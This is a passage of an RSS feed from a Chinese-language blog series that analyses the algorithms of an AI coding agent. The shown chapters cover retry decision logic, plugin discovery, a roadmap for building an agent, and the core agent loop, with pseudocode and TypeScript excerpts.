&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; x&lt;span style="color:#f92672"&gt;-&lt;/span&gt;should&lt;span style="color:#f92672"&gt;-&lt;/span&gt;retry &lt;span style="color:#960050;background-color:#1e0010"&gt;响应头&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;│&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;企业用户&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;│&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;└──&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;false&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;非&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;xx &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;不重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;连接错误（&lt;/span&gt;APIConnectionError&lt;span style="color:#960050;background-color:#1e0010"&gt;）？&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;408&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;请求超时&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;409&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;锁超时&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;429&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;速率限制&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;条件重试（非订阅用户或企业用户）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;401&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;认证失败&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;清除缓存后重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;403&lt;/span&gt; Token &lt;span style="color:#960050;background-color:#1e0010"&gt;撤销&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;xx &lt;span style="color:#960050;background-color:#1e0010"&gt;服务端错误&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;└──&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;其他&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;不重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这棵决策树的设计体现了几个关键原则：&lt;/p&gt;</description></item><item><title>第14章：扩展性架构算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-14/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-14/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;好的架构不是预知未来，而是让未来的变化变得廉价。&amp;rdquo; —— Robert C. Martin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="141-问题引入当能力边界需要不断外扩"&gt;14.1 问题引入：当能力边界需要不断外扩&lt;/h2&gt;
&lt;p&gt;一个 Agent 系统在发布后必然面临一个根本性矛盾：用户需求是无限的，而核心代码的变更是昂贵的。每一次向核心代码中添加新功能，都意味着更高的耦合度、更大的回归测试面积、更长的发布周期。&lt;/p&gt;
&lt;p&gt;Claude Code 从第一天起就面对这个问题。它需要支持数十种斜杠命令、允许社区贡献新的技能、让每个用户拥有个性化的&amp;quot;记忆&amp;quot;，还要让企业能通过插件定制整个工作流——所有这些都不应该要求修改一行核心代码。&lt;/p&gt;
&lt;p&gt;这就是&lt;strong&gt;扩展性架构&lt;/strong&gt;要解决的问题。本章我们将剖析 Claude Code 源码中三个核心扩展子系统——&lt;strong&gt;插件系统&lt;/strong&gt;、&lt;strong&gt;技能框架&lt;/strong&gt;和 &lt;strong&gt;Memory 系统&lt;/strong&gt;——背后的算法设计，揭示一个工业级 Agent 是如何在&amp;quot;对扩展开放、对修改封闭&amp;quot;的原则下，实现能力的无限外扩。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="142-算法思想"&gt;14.2 算法思想&lt;/h2&gt;
&lt;h3 id="1421-插件发现算法多源汇聚的声明式发现"&gt;14.2.1 插件发现算法：多源汇聚的声明式发现&lt;/h3&gt;
&lt;p&gt;Claude Code 的插件发现不是简单地扫描某个目录。它采用了一种&lt;strong&gt;多源声明式发现&lt;/strong&gt;算法，插件来源按优先级排列：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Marketplace 插件&lt;/strong&gt;（&lt;code&gt;plugin@marketplace&lt;/code&gt; 格式声明于 settings 文件）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;会话插件&lt;/strong&gt;（&lt;code&gt;--plugin-dir&lt;/code&gt; CLI 参数或 SDK 内联注入）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内置插件&lt;/strong&gt;（编译进二进制的 builtin plugins）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;发现算法的核心在 &lt;code&gt;assemblePluginLoadResult&lt;/code&gt; 函数中：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;assemblePluginLoadResult(marketplaceLoader):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;: &lt;span style="color:#960050;background-color:#1e0010"&gt;并行加载各来源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [marketplaceResult, sessionResult] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; await Promise&lt;span style="color:#f92672"&gt;.&lt;/span&gt;all([
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; marketplaceLoader(), &lt;span style="color:#f92672"&gt;//&lt;/span&gt; marketplace &lt;span style="color:#960050;background-color:#1e0010"&gt;插件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; loadSessionOnlyPlugins(inlinePlugins) &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;会话插件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; builtinResult &lt;span style="color:#f92672"&gt;=&lt;/span&gt; getBuiltinPlugins() &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;内置插件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;: &lt;span style="color:#960050;background-color:#1e0010"&gt;多源合并（冲突解决）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; allPlugins &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mergePluginSources({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; session: sessionResult&lt;span style="color:#f92672"&gt;.&lt;/span&gt;plugins,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; marketplace: marketplaceResult&lt;span style="color:#f92672"&gt;.&lt;/span&gt;plugins,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; builtin: builtinResult,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; managedNames: getManagedPluginNames() &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;企业策略锁定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;: &lt;span style="color:#960050;background-color:#1e0010"&gt;依赖验证与降级&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { demoted, errors } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; verifyAndDemote(allPlugins)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; p &lt;span style="color:#f92672"&gt;in&lt;/span&gt; allPlugins:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; demoted&lt;span style="color:#f92672"&gt;.&lt;/span&gt;has(p&lt;span style="color:#f92672"&gt;.&lt;/span&gt;source): p&lt;span style="color:#f92672"&gt;.&lt;/span&gt;enabled &lt;span style="color:#f92672"&gt;=&lt;/span&gt; false
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;阶段&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;: &lt;span style="color:#960050;background-color:#1e0010"&gt;缓存插件设置以供同步访问&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cachePluginSettings(enabledPlugins)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; { enabled, disabled, errors }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个算法的关键设计决策有三个：&lt;/p&gt;</description></item><item><title>第15章：从算法到实践：构建你的 Agent</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-15/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-15/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;复杂系统从来不是一次性设计出来的，它是从一个可工作的简单系统逐步演化而来。&amp;rdquo;
— John Gall，《系统学》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="151-问题引入"&gt;15.1 问题引入&lt;/h2&gt;
&lt;p&gt;经过前14章的深入分析，我们已经逐一拆解了 Claude Code 的每一个核心算法思想——从工具抽象到推理循环，从权限控制到多 Agent 协调，从 MCP 协议到钩子系统，从上下文压缩到容错重试。现在，一个自然的问题摆在面前：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果你要从零开始构建一个类似 Claude Code 的 Agent 系统，该怎么做？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这不是一个简单的问题。Claude Code 的源码体量庞大，模块之间存在复杂的依赖关系。直接照搬源码既不现实也不明智。我们需要的是一张&lt;strong&gt;路线图&lt;/strong&gt;——从最小可行系统出发，逐步叠加能力层，每一步都有清晰的目标和边界。&lt;/p&gt;
&lt;p&gt;本章将给出这张路线图。我们将按照八个递进步骤，从一个仅有50行伪代码的最小循环，逐步演化为一个功能完整的 Agent 系统。每一步都会回顾前几章的核心算法，给出可执行的伪代码框架，并对照 Claude Code 的实际实现进行验证。&lt;/p&gt;
&lt;h2 id="152-算法思想"&gt;15.2 算法思想&lt;/h2&gt;
&lt;h3 id="1521-agent-系统的最小可行架构"&gt;15.2.1 Agent 系统的最小可行架构&lt;/h3&gt;
&lt;p&gt;任何 Agent 系统，无论多复杂，都可以归结为三个核心组件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ Agent 系统 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ┌───────────┐ ┌──────────┐ ┌──────┐ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │ 推理循环 │←→│ 工具系统 │←→│ 权限 │ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │ (大脑) │ │ (双手) │ │ 控制 │ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ └───────────┘ └──────────┘ └──────┘ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────────────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;推理循环&lt;/strong&gt;是大脑，决定&amp;quot;做什么&amp;quot;和&amp;quot;何时停止&amp;quot;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工具系统&lt;/strong&gt;是双手，提供&amp;quot;怎么做&amp;quot;的能力；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限控制&lt;/strong&gt;是安全阀，确保&amp;quot;能不能做&amp;quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Claude Code 的源码完美印证了这一划分。&lt;code&gt;query.ts&lt;/code&gt; 中的 &lt;code&gt;queryLoop&lt;/code&gt; 是推理循环，&lt;code&gt;Tool.ts&lt;/code&gt; 定义了工具抽象，&lt;code&gt;permissions.ts&lt;/code&gt; 实现了权限判定。三者紧密协作，但职责清晰分离。&lt;/p&gt;</description></item><item><title>第16章：Agent 算法思想的升华</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-16/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-16/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;我们不是在建造一个工具，而是在定义人与智能体协作的范式。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="161-回望来路从代码到思想"&gt;16.1 回望来路：从代码到思想&lt;/h2&gt;
&lt;p&gt;当你翻到这一页时，我们已经共同走过了一段漫长的旅程。从第1章的感知-推理-行动循环，到第15章的性能优化深渊，我们逐行审视了 Claude Code 近两千个源码文件、数十万行 TypeScript 代码中蕴含的工程智慧。&lt;/p&gt;
&lt;p&gt;然而，如果这本书仅仅停留在&amp;quot;Claude Code 是怎么写的&amp;quot;这个层面，那它的价值将随着下一个版本的发布而褪色。代码会过时，API 会变迁，框架会更替——但算法思想不会。正如 Donald Knuth 在《计算机程序设计艺术》中所言，真正值得学习的不是某个具体的程序，而是程序背后的思维方式。&lt;/p&gt;
&lt;p&gt;让我们从 Claude Code 的具体实现中抽身而出，提炼出那些具有普适价值的 Agent 算法思想。这些思想，将在未来无数的 Agent 系统中以不同的形式反复出现。&lt;/p&gt;
&lt;h2 id="162-七大核心算法模式"&gt;16.2 七大核心算法模式&lt;/h2&gt;
&lt;p&gt;纵览全书，我们可以从 Claude Code 的架构中提炼出七个核心算法模式。它们不是孤立的技巧，而是一套完整的 Agent 设计语言。&lt;/p&gt;
&lt;h3 id="模式一感知-推理-行动循环perception-reasoning-action-loop"&gt;模式一：感知-推理-行动循环（Perception-Reasoning-Action Loop）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;源自第1、4章的核心发现。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude Code 的 &lt;code&gt;query.ts&lt;/code&gt; 中的主循环是整个系统的心脏。它不是一个简单的 request-response 模型，而是一个持续运转的 &lt;code&gt;while(true)&lt;/code&gt; 循环：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// query.ts — 简化的核心循环结构
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;queryLoop&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;QueryParams&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;State&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;messages&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;toolUseContext&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;turnCount&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;1&lt;/span&gt;, ... }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;toolUseContext&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;messages&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;turnCount&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;yield&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;stream_request_start&amp;#39;&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 感知：收集上下文、附件、记忆
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 推理：调用 LLM 获取响应
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 行动：执行工具调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 判断：是否继续循环
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个模式的精妙之处在于它的&lt;strong&gt;生成器（AsyncGenerator）设计&lt;/strong&gt;。&lt;code&gt;query&lt;/code&gt; 函数不是返回一个结果，而是 &lt;code&gt;yield&lt;/code&gt; 出一个事件流——流式事件、消息、工具结果——让调用者可以逐步消费。这是一个经典的&lt;strong&gt;协程模式&lt;/strong&gt;：循环的每一轮既是一次完整的感知-推理-行动周期，又是一个可被外部中断、恢复的协作点。&lt;/p&gt;</description></item></channel></rss>